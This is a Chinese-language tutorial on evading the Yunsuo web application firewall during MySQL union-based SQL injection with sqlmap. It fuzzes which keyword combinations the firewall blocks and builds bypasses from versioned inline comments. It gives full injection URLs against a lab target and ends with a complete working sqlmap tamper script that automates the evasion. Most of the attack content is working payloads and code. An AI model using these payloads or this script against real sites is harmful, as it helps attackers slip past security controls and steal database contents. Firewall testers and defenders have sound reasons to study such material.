从零开始编写自己的过云锁TAMPER
0x01:FUZZ云锁策略
首先通过fuzz测试云锁的策略:
这里只讲MySQL
order by #order 后加by会拦截
user()、database()#关键词跟括号会被拦截
union select#union后跟select会被拦截
select ... from #select后面跟from也会拦截
0x02:bypass云锁
由于云锁不会拦截and,所以直接从order by入手。
order by 这里有两种绕过手段
第一种是利用内联注释扰乱关键字之间的联系,也就是下面这种
还有一种是通过云锁无法waf的版本号配合关键字在内联中执行
这两种都是可以绕过云锁的。
判断完列后,sqlmap会进行union select来猜解可显位
这里继续过滤union select 由于sqlmap默认使用的为union all select ,这里改不改无所谓,我们尝试使用版本号配合关键字进行绕过,比如/*!11444union*/,这里我们看一下绕过结果如何,这次就不用burp代理sqlmap的流量了,太慢了,直接-v3看payload
复制过来试一下
可以过
再试一试/*!80000aaa*/插入关键字之间可以不可以
也可以,但是这种方法选择弃用,原因后面会说。
union 确定回显位后,接下来便是查询语句,势必会用到select from 这个组合
这是union注入无法避免的,也是云锁下了大功夫的点,也就是select from 这个组合的过滤,我们尝试使用/*!11444from*/进行绕过
歇逼了,那咋办呢,由于之前做过大量的测试,得知waf点为select from 我们从这里进行突破,内联注释有个特点就是不仅仅支持一个关键字的执行,同时可以执行多个关键字甚至是一条语句,比如这句:/*!11444select CONCAT(0x7178787a71,IFNULL(CAST(schema_name AS CHAR),0x20),0x717a706b71) FROM*/ INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1
/*!.......*/里面的 select CONCAT(0x7178787a71,IFNULL(CAST(schema_name AS CHAR),0x20),0x717a706b71) FROM 是可以正常执行的,所以我们尝试使用这种方式进行绕过云锁
可以绕过,所以select from 只要同时处于内联注释中即可
因此我们构造payload
这里最终会构成这样的语句:
http://192.168.150.139/sqli/Less-1/?id=-7175' /*!11444union*/ /*!11444all*/ /*!11444select NULL,NULL,(/*!11444select CONCAT(0x7178787a71,IFNULL(CAST(schema_name AS CHAR),0x20),0x717a706b71) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1) */-- ZjMY
这对内联将select from 包裹其中,至于为什么select也要加/*!11444呢,我们去掉占位符中的select前面的注释
http://192.168.150.139/sqli/Less-1/?id=-7175' /*!11444union*/ /*!11444all*/ /*!11444select NULL,NULL,(select CONCAT(0x7178787a71,IFNULL(CAST(schema_name AS CHAR),0x20),0x717a706b71) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1) */-- ZjMY
被过滤了,但是在测试的时候发现不使用独立占位符是不会被过滤的
http://192.168.150.139/sqli/Less-1/?id=-8189' UNION /*!11444all*/ /*!11444select 1,2, group_concat(schema_name) from information_schema.schemata*/ -- asdf
那么问题来了,为什么加个select就会被拦截呢,猜测由于新增了select,又和括号里的from形成了select from的组合,因此被拦截,且sqlmap默认语句使用的就是嵌入占位符进行查询,如下:
所以括号里这个select必须解决,怎么解决呢,刚开始想可不可以用内联注释将关键字放入内联执行。
很可惜,语法错误了,原因是前面过早出现了闭合内联注释的符号*/,所以语法错误。
那怎么办呢,不让他闭合不就行了吗
所以最终构造:
http://192.168.150.139/sqli/Less-1/?id=-7175' /*!11444union*/ /*!11444all*/ /*!11444select NULL,NULL,(/*!11444select CONCAT(0x7178787a71,IFNULL(CAST(schema_name AS CHAR),0x20),0x717a706b71) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1) */-- ZjMY
单行注释前面增加*/来闭合前面出现的/*!。
0x03:tamper结构
这里有介绍,这里就不再重复了
0x04:编写tamper
其实就是关键字的替换,上面其实已经写的很清楚了
0x05:完整脚本
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass yunsuo by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace('ORDER','/*!11444order*/')
payload=payload.replace('UNION ALL SELECT','/*!11444union*/ /*!11444all*/ /*!11444select')
payload=payload.replace("SELECT","/*!11444select")
payload=payload.replace("--"," */--")
return payload
0x06:局限性
同样只是联合注入,后续搞一下其他类型注入
很遗憾 2020.4.27更新后的版本已经歇菜 原因是新增的401规则